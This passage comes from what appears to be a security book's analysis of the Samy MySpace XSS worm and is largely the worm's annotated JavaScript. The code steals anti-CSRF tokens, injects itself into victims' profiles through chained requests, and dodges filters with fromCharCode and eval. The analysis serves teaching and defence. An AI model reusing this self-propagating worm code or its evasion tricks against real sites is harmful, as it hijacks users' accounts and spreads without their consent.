Xem mẫu

// restriction. if(location.hostname == `profile.myspace.com`) { document.location=`http://www.myspace.com` + location.pathname + location.search; } else { // Now that we are on the correct "www.myspace.com", let`s start // spreading this worm. First, ensure that we have the friendID. if (!friendIdParameter) { getCoreVictimData(getHtmlBody()); } // Now let`s do the damage. main(); } Now the victim runs the main() function. Unfortunately, Samy did not design the cleanest code. The main() function sets up some more variables just like some of the global variables already set once, or if the redirect occurred, twice. The main() function starts a chain of XMLHttpRequests that performs actions on the victim’s behalf to change the victim’s profile page. The XMLHttpRequests are chained together by their callback functions. Finally, main() makes one last request to add Samy to the victim’s friends list. It’s not the cleanest design, but it works. // This is Samy`s closest attempt to a core routine. However, he uses many // global function calls and horribly misuses XMLHttpRequest`s callback to // chain all of the requests together. function main() { // grab the victim`s friendID. The "FriendID" and the "Mytoken" value are // required for the worm to make requests on the Victim`s behalf. var friendId = getVictimsFriendId(); var url = `/index.cfm?fuseaction=user.viewProfile&friendID=` + friendId + `&Mytoken=` + myTokenParameter; xmlHttpRequest = getXMLObj(); // This request starts a chain of HTTP requests. Samy uses the callback // function in XMLHttpRequest to chain numerous requests together. The // first request simply makes a request to view the user`s profile in // order to see if "samy" is already the victim`s hero. httpSend(url, analyzeVictimsProfile, `GET`); xmlhttp2 = getXMLObj(); // This adds user "11851658" (Samy) to the victim`s friend list. httpSend2(`/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&" + "Mytoken=` + myTokenParameter, addSamyToVictimsFriendsList, `GET`); } 58 The most interesting line above is httpSend(url, analyzeVictimsProfile, `GET`);, because it starts the chain of XMLHttpRequests that ultimately adds all the JavaScript code into the victim’s profile page. The first request simply loads up the victim’s profile page. The next function, analyzeVictimsProfile(), handles the HTTP response, and is shown here: // This function reviews Samy`s first request to the victim`s main "profile" // page. The code checks to see if "samy" is already a hero. If his is not // already the victim`s hero, the code does the first step to add samy as a // hero, and more importantly, injects the worm in the victim`s profile // page. The second step is performed in postHero(). function analyzeVictimsProfile() { // Standard XMLHttpRequest check to ensure that the HTTP request is // complete. if (xmlHttpRequest.readyState != 4) { return; } // Grab the victim`s "Heros" section of their main page. var htmlBody = xmlHttpRequest.responseText; heroString = subStringBetweenTwoStrings(htmlBody, `P` + `rofileHeroes`, ``); heroString = heroString.substring(61, heroString.length); // Check if "samy" is already in the victim`s hero list. Only add the worm // if it`s not already there. if (heroString.indexOf(`samy`) == -1) { if (heroCommentWithWorm) { // take the user`s original hero string and add "but most of all, // samy is my hero.", the script injection and the attack code. heroString += heroCommentWithWorm; // grab the victim`s Mytoken. Mytoken is MySpace`s CSRF protection // token and is required to make client state change requests. var myToken = getParameterFromString(htmlBody, `Mytoken`); // Create the request to add samy as the victim`s hero and most // importantly inject this script into the victim`s page. var queryParameterArray = new Array(); queryParameterArray[`interestLabel`] = `heroes`; queryParameterArray[`submit`] = `Preview`; queryParameterArray[`interest`] = heroString; xmlHttpRequest = getXMLObj(); // Make the request to preview the change. After previewing: // - grab the "hash" token from the preview page (required to perform 59 // the final submission) // - run postHero() to finally submit the final submit to add the // worm to the victim. httpSend(`/index.cfm?fuseaction=profile.previewInterests&Mytoken=` + myToken, postHero, `POST`, parameterArrayToParameterString(queryParameterArray)); } } } Note that the function above first checks whether the victim has already been victimized. If not, it grab’s the victim’s Mytoken, and begins the first step (of two) to add Samy to the victim’s Heros section, and it injects the script injection and attack code into the victim’s profile page, too. It does so by performing the profile.previewInterests action on MySpace with the worm code, appropriate friendID, and appropriate Mytoken. The next step runs postHero(), which grabs a necessary hash token and submits the final request to add Samy as the victim’s hero and add the script injection and attack code to the victim’s profile page. // postHero() grabs the "hash" from the victims`s interest preview page. // performs the final submission to add "samy" (and the worm) to the // victim`s profile page. function postHero() { // Standard XMLHttpRequest check to ensure that the HTTP request is // complete. if (xmlHttpRequest.readyState != 4) { return; } var htmlBody = xmlHttpRequest.responseText; var myToken = getParameterFromString(htmlBody, `Mytoken`); var queryParameterArray = new Array(); // The next 3 array elements are the same as in analyzeVictimsProfile() queryParameterArray[`interestLabel`] = `heroes`; queryParameterArray[`submit`] = `Submit`; queryParameterArray[`interest`] = heroString; // The "hash" parameter is required to make the client state change to add queryParameterArray[`hash`] = getHiddenParameter(htmlBody, `hash`); httpSend(`/index.cfm?fuseaction=profile.processInterests&Mytoken=` + myToken, nothing, `POST`, parameterArrayToParameterString(queryParameterArray)); } 60 This code is pretty straightforward. postHero() performs a similar request as analyzeVictimsProfile(), except it adds the hash value acquired by the preview action and sends the final request to add the attack code to MySpace’s profile .processInterests action. postHero() concludes the XMLHttpRequest chain. Now the victim has “but most of all, samy is my hero” in his or her Hero’s section with the script injection and attack code hidden in the victim’s profile page awaiting more victims. The main()function also performs another XMLHttpRequest to add Samy to the victim’s friend list. This request is performed by the following function: // This function adds user "11851658" (a.k.a. Samy) to the victim`s friends // list. function addSamyToVictimsFriendsList() { // Standard XMLHttpRequest check to ensure that the HTTP request is // complete. if (xmlhttp2.readyState!=4) { return; } var htmlBody = xmlhttp2.responseText; var victimsHashcode = getHiddenParameter(htmlBody, `hashcode`); var victimsToken = getParameterFromString(htmlBody, `Mytoken`); var queryParameterArray = new Array(); queryParameterArray[`hashcode`] = victimsHashcode; // Samy`s (old) ID on MySpace queryParameterArray[`friendID`] = `11851658`; queryParameterArray[`submit`] = `Add to Friends`; // the "invite.addFriendsProcess" action on myspace adds the friendID (in // the POST body) to the victim`s friends list httpSend2(`/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=` + victimsToken, nothing, `POST`, parameterArrayToParameterString(queryParameterArray)); } Again, this function is similar to the previous functions. addSamyToVictimsFriend sList() simply makes a request action to invite.addFriendsProcess to add user 11851658 (Samy) to the victimized friend list. This completes the core functionality of the SAMY worm. Samy’s Supporting Variables and Functions Some of the functions shown in the preceding code call other functions within the worm. For completeness, we present the rest of the worm code. This code contains some interesting 61 tricks to circumvent MySpace’s security controls such as using String.fromCharCode() and obfuscating blocked strings with string concatenation and the eval() function. // Samy needed double quotes and single quotes, but was not able to place // them in the code. So he grabs the characters through // String.fromCharCode(). var doubleQuote = String.fromCharCode(34); // 34 == " var singleQuote = String.fromCharCode(39); // 39 == ` // Create a TextRange object in order to grab the HTML body of the page that // this function is running on. This is equivalent to // document.body.innerHTML. // Interestingly, createTextRange() is IE specific and since the script // injection is IE specific, he could have shorten this code drastically to // simply "var getHtmlBody = document.body.createTextRange().htmlText;" function getHtmlBody() { var htmlBody; try { var textRange = document.body.createTextRange(); htmlBody = textRange.htmlText; } catch(e) {} if (htmlBody) { return htmlBody; } else { return eval(`document.body.inne`+`rHTML`); } } // getCoreVictimData() sets global variables that holds the victim`s // friendID and Mytoken. Mytoken is particular important because it protects // against CSRF. Of course if there is XSS, then CSRF protection is useless. function getCoreVictimData(htmlBody) { friendIdParameter = getParameterFromString(htmlBody, `friendID`); myTokenParameter = getParameterFromString(htmlBody, `Mytoken`); } // Grab the query parameters from the current URL. A typical query parameter // is "fuseaction=user.viewprofile&friendid=SOME_NUMBER&MyToken=SOME_GUID". // This returns an Array with index "parameter" and value "value" of a // "parameter=value" pair. function getQueryParameters() { 62 ... - tailieumienphi.vn
nguon tai.lieu . vn